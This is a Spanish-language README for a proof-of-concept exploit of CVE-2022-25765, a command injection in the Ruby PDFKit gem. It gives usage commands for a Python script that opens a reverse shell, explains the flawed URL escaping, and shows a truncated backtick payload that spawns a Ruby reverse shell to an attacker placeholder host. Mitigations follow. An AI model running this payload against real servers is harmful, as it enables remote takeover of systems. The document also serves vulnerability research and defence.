Exploit para CVE-2022-25765
Un pequeño exploit PoC para CVE-2022-25765, PDFkit-CMD-Injection
Uso
-
Inicia un listener de netcat en tu máquina de ataque:
-
Ejecuta el exploit:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
Ejemplo:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
Parámetros:
-t, --target: URL objetivo que ejecuta PDFKit vulnerable
-l, --lhost: Tu dirección IP para la conexión de reverse shell
-p, --lport: Tu puerto para la conexión de reverse shell (debe coincidir con tu listener de netcat)
ID de CVE: CVE-2022-25765
Puntuación CVSS v3.1: 9.8 (Crítica)
Puntuación EPSS: 71.381% (percentil 99)
CWE: CWE-77 - Neutralización inadecuada de elementos especiales utilizados en un comando
Versiones Afectadas
- Vulnerable: PDFKit 0.0.0 - 0.8.6
- Corregida: PDFKit 0.8.7.2+
Descripción
PDFKit es una gema de Ruby que convierte HTML a PDF usando la herramienta de línea de comandos wkhtmltopdf. La vulnerabilidad existe en cómo PDFKit maneja los parámetros de URL antes de pasarlos a los comandos del shell del sistema para la generación de PDF.
Detalles Técnicos
La vulnerabilidad reside en lib/pdfkit/source.rb donde la sanitización de URL está implementada incorrectamente:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
El Problema:
- PDFKit usa una lógica defectuosa para determinar si una URL necesita escaparse
- Los metacaracteres del shell (backticks, punto y coma, tuberías, etc.) pueden omitir esta verificación
- Las URLs sin sanitizar se pasan directamente a los comandos del shell que invocan wkhtmltopdf
- Los atacantes pueden inyectar comandos arbitrarios que se ejecutan en el servidor
Vector de Ataque:
- Complejidad: Baja
- Privilegios Requeridos: Ninguno
- Interacción del Usuario: Ninguna
- Acceso a la Red: Requerido
Cómo Funciona Este Exploit
Este PoC explota la vulnerabilidad al:
- Inyectar una URL maliciosa que contiene sustitución de comandos con backticks
- El payload:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
- PDFKit no logra sanitizar los backticks en el parámetro de la URL
- Cuando wkhtmltopdf procesa la URL, el shell ejecuta la reverse shell de Ruby
- El sistema objetivo se conecta de vuelta al listener del atacante
Impacto
- Confidencialidad: Alta - Acceso completo al sistema
- Integridad: Alta - Capacidad de modificar cualquier archivo
- Disponibilidad: Alta - Potencial de interrupción del sistema
Requisitos Previos para una Explotación Exitosa
En el Sistema Objetivo:
- Versión de PDFKit vulnerable (< 0.8.7.2)
- Ruby instalado (requerido para el payload de reverse shell)
- La aplicación acepta URLs controladas por el usuario pasadas a PDFKit
- Sin filtrado de egreso que bloquee las conexiones salientes
- Actualiza PDFKit a la versión 0.8.7.2 o posterior
- Validación de Entradas: Implementa una lista blanca estricta para las entradas de URL
- Sandboxing: Ejecuta los procesos de PDFKit en contenedores aislados con privilegios mínimos
- Segmentación de Red: Restringe las conexiones salientes desde los servicios de generación de PDF
- Reglas WAF: Implementa reglas para detectar metacaracteres de shell en los parámetros de URL
Referencias